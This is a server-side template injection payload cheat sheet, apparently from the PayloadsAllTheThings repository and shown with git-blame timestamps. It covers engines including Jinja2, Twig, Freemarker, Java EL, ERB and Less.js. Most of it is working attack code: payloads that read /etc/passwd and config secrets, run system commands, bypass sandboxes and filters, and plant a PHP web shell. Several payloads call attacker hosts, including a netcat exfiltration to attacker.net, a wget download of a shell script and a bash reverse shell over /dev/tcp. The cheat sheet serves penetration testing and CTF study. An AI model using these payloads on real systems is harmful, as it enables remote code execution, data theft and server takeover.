2019-01-28 19:27:45 +00:00
# Templates Injections
2020-10-17 20:47:20 +00:00
> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages
2019-01-28 19:27:45 +00:00
## Summary
* [Tools ](#tools )
* [Methodology ](#methodology )
* [Ruby ](#ruby )
2020-10-17 10:25:50 +00:00
* [Basic injections ](#ruby---basic-injections )
2021-07-27 17:20:36 +00:00
* [Retrieve /etc/passwd ](#ruby---retrieve-etcpasswd )
2020-10-17 10:25:50 +00:00
* [List files and directories ](#ruby---list-files-and-directories )
2019-01-28 19:27:45 +00:00
* [Java ](#java )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#java---basic-injection )
2021-07-27 17:20:36 +00:00
* [Retrieve the system’ s environment variables ](#java---retrieve-the-systems-environment-variables )
* [Retrieve /etc/passwd ](#java---retrieve-etcpasswd )
2020-07-10 13:05:13 +00:00
* [Expression Language EL ](#expression-language-el )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#expression-language-el---basic-injection )
* [Code execution ](#expression-language-el---code-execution )
2019-01-28 19:27:45 +00:00
* [Twig ](#twig )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#twig---basic-injection )
* [Template format ](#twig---template-format )
* [Arbitrary File Reading ](#twig---arbitrary-file-reading )
* [Code execution ](#twig---code-execution )
2019-01-28 19:27:45 +00:00
* [Smarty ](#smarty )
* [Freemarker ](#freemarker )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#freemarker---basic-injection )
* [Code execution ](#freemarker---code-execution )
* [Pebble ](#pebble )
* [Basic injection ](#pebble---basic-injection )
* [Code execution ](#pebble---code-execution )
2021-07-27 17:20:36 +00:00
* [Jade / Codepen ](#jade--codepen )
2019-01-28 19:27:45 +00:00
* [Velocity ](#velocity )
* [Mako ](#mako )
* [Jinja2 ](#jinja2 )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#jinja2---basic-injection )
* [Template format ](#jinja2---template-format )
* [Debug Statement ](#jinja2---debug-statement )
* [Dump all used classes ](#jinja2---dump-all-used-classes )
* [Dump all config variables ](#jinja2---dump-all-config-variables )
* [Read remote file ](#jinja2---read-remote-file )
* [Write into remote file ](#jinja2---write-into-remote-file )
* [Remote Code Execution ](#jinja2---remote-code-execution )
* [Filter bypass ](#jinja2---filter-bypass )
2019-01-28 19:27:45 +00:00
* [Jinjava ](#jinjava )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#jinjava---basic-injection )
* [Command execution ](#jinjava---command-execution )
2020-08-19 12:20:18 +00:00
* [Handlebars ](#handlebars )
2020-04-18 19:18:22 +00:00
* [ASP.NET Razor ](#aspnet-razor )
2020-10-17 10:25:50 +00:00
* [Basic injection ](#aspnet-razor---basic-injection )
* [Command execution ](#aspnet-razor---command-execution )
2021-07-06 14:36:43 +00:00
* [Lessjs ](#lessjs )
2019-09-17 13:43:13 +00:00
* [References ](#references )
2019-01-28 19:27:45 +00:00
## Tools
Recommended tool: [Tplmap ](https://github.com/epinna/tplmap )
e.g:
```powershell
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*& comment=supercomment& link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*& comment=A& link" --level 5 -e jade
```
## Methodology
2019-03-19 12:18:06 +00:00
![SSTI cheatsheet workflow ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true )
2019-01-28 19:27:45 +00:00
## Ruby
2020-10-17 10:25:50 +00:00
### Ruby - Basic injections
2019-11-16 16:29:55 +00:00
ERB:
2019-01-28 19:27:45 +00:00
```ruby
< %= 7 * 7 %>
```
2019-11-16 16:29:55 +00:00
Slim:
```ruby
#{ 7 * 7 }
```
2020-10-17 10:25:50 +00:00
### Ruby - Retrieve /etc/passwd
2019-01-28 19:27:45 +00:00
```ruby
< %= File.open('/etc/passwd').read %>
```
2020-10-17 10:25:50 +00:00
### Ruby - List files and directories
2019-01-28 19:27:45 +00:00
```ruby
< %= Dir.entries('/') %>
```
2020-10-17 10:25:50 +00:00
### Ruby - Code execution
2019-12-05 22:06:53 +00:00
2020-04-30 10:13:58 +00:00
Execute code using SSTI for ERB engine.
```ruby
< %= system('cat /etc/passwd') %>
2020-05-29 04:28:55 +00:00
< %= `ls /` %>
< %= IO.popen('ls /').readlines() %>
2020-07-10 13:05:13 +00:00
< % require 'open3' %>< % @a ,@b,@c,@d=Open3.popen3('whoami') %>< %= @b .readline()%>
2020-05-29 04:28:55 +00:00
< % require 'open4' %>< % @a ,@b,@c,@d=Open4.popen4('whoami') %>< %= @c .readline()%>
2020-04-30 10:13:58 +00:00
```
2020-05-29 04:28:55 +00:00
2020-04-30 10:15:31 +00:00
Execute code using SSTI for Slim engine.
```powershell
#{ %x|env| }
```
2020-04-30 10:13:58 +00:00
2019-01-28 19:27:45 +00:00
## Java
2020-10-17 10:25:50 +00:00
### Java - Basic injection
2019-01-28 19:27:45 +00:00
```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```
2020-10-17 10:25:50 +00:00
### Java - Retrieve the system’ s environment variables
2019-01-28 19:27:45 +00:00
```java
${T(java.lang.System).getenv()}
```
2020-10-17 10:25:50 +00:00
### Java - Retrieve /etc/passwd
2019-01-28 19:27:45 +00:00
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
2020-07-10 13:05:13 +00:00
## Expression Language EL
2020-10-17 10:25:50 +00:00
### Expression Language EL - Basic injection
2020-07-10 13:05:13 +00:00
```java
${1+1}
#{1+1}
```
2021-08-23 19:41:40 +00:00
### Expression Language EL - One-Liner injections not including code execution
```java
// DNS Lookup
2021-08-25 20:17:34 +00:00
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
2021-08-23 19:41:40 +00:00
// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
```
2020-10-17 10:25:50 +00:00
### Expression Language EL - Code Execution
2020-07-10 13:05:13 +00:00
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(< COMMAND STRING / ARRAY > )
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(< COMMAND ARRAY / LIST > ).start()
// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```
2019-01-28 19:27:45 +00:00
## Twig
2020-10-17 10:25:50 +00:00
### Twig - Basic injection
2019-01-28 19:27:45 +00:00
```python
{{7*7}}
{{7*'7'}} would result in 49
2020-03-29 20:34:26 +00:00
{{dump(app)}}
{{app.request.server.all|join(',')}}
2019-01-28 19:27:45 +00:00
```
2020-10-17 10:25:50 +00:00
### Twig - Template format
2019-01-28 19:27:45 +00:00
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
2020-10-17 10:25:50 +00:00
### Twig - Arbitrary File Reading
2020-03-29 20:34:26 +00:00
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```
2020-10-17 10:25:50 +00:00
### Twig - Code execution
2019-01-28 19:27:45 +00:00
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
2020-03-29 21:19:27 +00:00
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
2020-03-29 21:23:26 +00:00
{{['cat$IFS/etc/passwd']|filter('system')}}
2019-01-28 19:27:45 +00:00
```
2020-03-29 20:34:26 +00:00
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
2019-01-28 19:27:45 +00:00
## Smarty
```python
2019-12-30 13:22:10 +00:00
{$smarty.version}
2021-05-20 14:42:51 +00:00
{php}echo `id` ;{/php} //deprecated in smarty v3
2019-01-28 19:27:45 +00:00
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?> ",self::clearConfig())}
2021-05-20 14:42:51 +00:00
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
2019-01-28 19:27:45 +00:00
```
## Freemarker
2019-04-14 19:01:14 +00:00
You can try your payloads at [https://try.freemarker.apache.org ](https://try.freemarker.apache.org )
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Freemarker - Basic injection
2019-04-14 19:01:14 +00:00
The template can be `${3*3}` or the legacy `#{3*3}`
2020-10-17 10:25:50 +00:00
### Freemarker - Code execution
2019-04-14 19:01:14 +00:00
```js
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
2019-06-24 11:38:56 +00:00
${"freemarker.template.utility.Execute"?new()("id")}
2019-01-28 19:27:45 +00:00
```
2021-02-21 19:17:57 +00:00
### Freemarker - Sandbox bypass
:warning: only works on Freemarker versions below 2.3.30
```js
< #assign classloader=article.class.protectionDomain.classLoader>
< #assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
< #assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
< #assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```
2019-09-17 13:43:13 +00:00
## Pebble
2020-10-17 10:25:50 +00:00
### Pebble - Basic injection
2019-09-17 13:43:13 +00:00
```java
{{ someString.toUPPERCASE() }}
```
2020-10-17 10:25:50 +00:00
### Pebble - Code execution
Old version of Pebble ( < version 3 . 0 . 9 ) : `{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}` .
New version of Pebble :
2019-09-17 13:43:13 +00:00
```java
{% set cmd = 'id' %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
```
2019-01-28 19:27:45 +00:00
## Jade / Codepen
```python
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
2020-10-31 15:02:29 +00:00
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
2019-01-28 19:27:45 +00:00
## Velocity
```python
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
## Mako
```python
< %
import os
x=os.popen('id').read()
%>
${x}
```
## Jinja2
2021-07-27 17:20:36 +00:00
[Official website ](https://jinja.palletsprojects.com/ )
2019-07-17 21:17:35 +00:00
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Jinja2 - Basic injection
2019-01-28 19:27:45 +00:00
```python
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
2019-03-24 15:26:00 +00:00
{{config.items()}}
2019-01-28 19:27:45 +00:00
```
Jinja2 is used by Python Web Frameworks such as Django or Flask.
2021-07-27 17:20:36 +00:00
The above injections have been tested on a Flask application.
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Jinja2 - Template format
2019-01-28 19:27:45 +00:00
```python
{% extends "layout.html" %}
{% block body %}
< ul >
{% for user in users %}
< li > < a href = "{{ user.url }}" > {{ user.username }}< / a > < / li >
{% endfor %}
< / ul >
{% endblock %}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Debug Statement
2020-08-19 12:46:43 +00:00
If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’ s available to use in the template without setting up a debugger.
```python
< pre > {% debug %}< / pre >
```
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
2020-10-17 10:25:50 +00:00
### Jinja2 - Dump all used classes
2019-01-28 19:27:45 +00:00
```python
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Dump all config variables
2019-01-28 19:27:45 +00:00
```python
{% for key, value in config.iteritems() %}
< dt > {{ key|e }}< / dt >
< dd > {{ value|e }}< / dd >
{% endfor %}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Read remote file
2019-01-28 19:27:45 +00:00
```python
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
2019-04-14 19:01:14 +00:00
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
2021-01-18 08:48:38 +00:00
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
2019-01-28 19:27:45 +00:00
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Write into remote file
2019-01-28 19:27:45 +00:00
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
2020-10-17 10:25:50 +00:00
### Jinja2 - Remote Code Execution
2019-01-28 19:27:45 +00:00
2020-10-17 20:47:20 +00:00
Listen for connection
2019-01-28 19:27:45 +00:00
```bash
2021-01-31 20:51:53 +00:00
nc -lnvp 8000
2019-01-28 19:27:45 +00:00
```
2021-07-27 17:20:36 +00:00
#### Exploit the SSTI by calling os.popen().read()
These payloads are context-free, and do not require anything, except being in a jinja2 Template object:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
```
```python
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
```
```python
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
```
Source [@podalirius_ ](https://twitter.com/podalirius_ ) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
#### Exploit the SSTI by calling subprocess.Popen
2019-07-10 18:58:50 +00:00
:warning: the number 396 will vary depending of the application.
```python
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
2019-10-20 11:25:06 +00:00
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
2019-07-10 18:58:50 +00:00
```
2019-07-10 19:31:44 +00:00
#### Exploit the SSTI by calling Popen without guessing the offset
2019-01-28 19:27:45 +00:00
```python
2019-07-10 19:31:44 +00:00
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```
2020-03-09 18:19:33 +00:00
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
In another GET parameter include a variable named "input" that contains the command you want to run (For example: & input=ls)
```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
```
2019-07-10 19:31:44 +00:00
#### Exploit the SSTI by writing an evil config file.
```python
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
2019-07-14 12:23:20 +00:00
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>& 1"',shell=True) }}
2019-01-28 19:27:45 +00:00
```
2019-07-10 18:58:50 +00:00
2020-10-17 10:25:50 +00:00
### Jinja2 - Filter bypass
2019-01-28 19:27:45 +00:00
```python
request.__class__
request["__class__"]
```
Bypassing `_`
```python
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}& class=class& usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
```
Bypassing `[` and `]`
```python
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}& class=class& usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}& l=a& a=_& a=_& a=class& a=_& a=_
```
Bypassing `|join`
```python
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}& f=%s%sclass%s%s& a=_
```
2020-04-13 17:48:43 +00:00
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by https://twitter.com/SecGus:
2020-04-13 17:44:16 +00:00
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
2019-01-28 19:27:45 +00:00
## Jinjava
2020-10-17 10:25:50 +00:00
### Jinjava - Basic injection
2019-01-28 19:27:45 +00:00
```python
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
2020-10-17 20:47:20 +00:00
Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/ ](https://github.com/HubSpot/jinjava/ )
2019-01-28 19:27:45 +00:00
2020-10-17 10:25:50 +00:00
### Jinjava - Command execution
2019-01-28 19:27:45 +00:00
Fixed by https://github.com/HubSpot/jinjava/pull/230
```python
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
```
2020-08-19 12:20:18 +00:00
## Handlebars
2020-10-17 10:25:50 +00:00
### Handlebars - Command Execution
2020-08-19 12:20:18 +00:00
```handlebars
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('ls -la');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
```
2020-04-18 19:18:22 +00:00
## ASP.NET Razor
2020-10-17 10:25:50 +00:00
### ASP.NET Razor - Basic injection
2020-04-18 19:18:22 +00:00
```powershell
@(1+2)
```
2020-10-17 10:25:50 +00:00
### ASP.NET Razor - Command execution
2020-04-18 19:18:22 +00:00
```csharp
@{
// C# code
}
```
2019-01-28 19:27:45 +00:00
2021-07-06 14:36:43 +00:00
## Lessjs
### Lessjs - SSRF / LFI
```less
@import (inline) "http://localhost";
// or
@import (inline) "/etc/passwd";
```
### Lessjs < v3 - Command Execution
```less
body {
2021-07-16 15:24:16 +00:00
color: `global.process.mainModule.require("child_process").execSync("id")` ;
2021-07-06 14:36:43 +00:00
}
```
### Plugins
Lessjs plugins can be remotely included and are composed of Javascript which gets executed when the Less is transpiled.
```less
// example local plugin usage
@plugin "plugin-2.7.js";
```
or
```less
// example remote plugin usage
@plugin "http://example.com/plugin-2.7.js"
```
version 2 example RCE plugin:
```javascript
functions.add('cmd', function(val) {
return `"${global.process.mainModule.require('child_process').execSync(val.value)}"` ;
});
```
version 3 and above example RCE plugin
```javascript
//Vulnerable plugin (3.13.1)
registerPlugin({
install: function(less, pluginManager, functions) {
functions.add('cmd', function(val) {
return global.process.mainModule.require('child_process').execSync(val.value).toString();
});
}
})
```
2019-01-28 19:27:45 +00:00
## References
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ ](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/ )
* [Yahoo! RCE via Spring Engine SSTI ](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ )
* [Ruby ERB Template injection - TrustedSec ](https://www.trustedsec.com/2017/09/rubyerb-template-injection/ )
* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger) ](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98 )
* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax ](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf )
* [VelocityServlet Expression Language injection ](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/ )
* [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore ](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti )
* [RITSEC CTF 2018 WriteUp (Web) - Aj Dumanhug ](https://medium.com/@ajdumanhug/ritsec-ctf-2018-writeup-web-72a0e5aa01ad )
* [RCE in Hubspot with EL injection in HubL - @fyoorer ](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html?spref=tw )
* [Jinja2 template injection filter bypasses - @gehaxelt, @0daywork ](https://0day.work/jinja2-template-injection-filter-bypasses/ )
* [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - Aug 22, 2018 ](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9 )
2019-06-24 11:38:56 +00:00
* [EXPLOITING SERVER SIDE TEMPLATE INJECTION WITH TPLMAP - BY: DIVINE SELORM TSA - 18 AUG 2018 ](https://www.owasp.org/images/7/7e/Owasp_SSTI_final.pdf )
2019-11-16 16:29:55 +00:00
* [Server Side Template Injection – on the example of Pebble - MICHAŁ BENTKOWSKI | September 17, 2019 ](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/ )
2020-04-30 10:13:58 +00:00
* [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - 15 APR 2020 ](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI )-in-ASP.NET-Razor/)
2020-07-10 13:05:13 +00:00
* [Expression Language injection - PortSwigger ](https://portswigger.net/kb/issues/00100f20_expression-language-injection )
* [Bean Stalking: Growing Java beans into RCE - July 7, 2020 - Github Security Lab ](https://securitylab.github.com/research/bean-validation-RCE )
2020-08-19 12:20:18 +00:00
* [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019 ](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf )
2020-10-17 10:25:50 +00:00
* [Handlebars template injection and RCE in a Shopify app ](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html )
2020-10-31 15:02:29 +00:00
* [Lab: Server-side template injection in an unknown language with a documented exploit ](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit )
2021-07-06 14:36:43 +00:00
* [Exploiting Less.js to Achieve RCE ](https://www.softwaresecured.com/exploiting-less-js/ )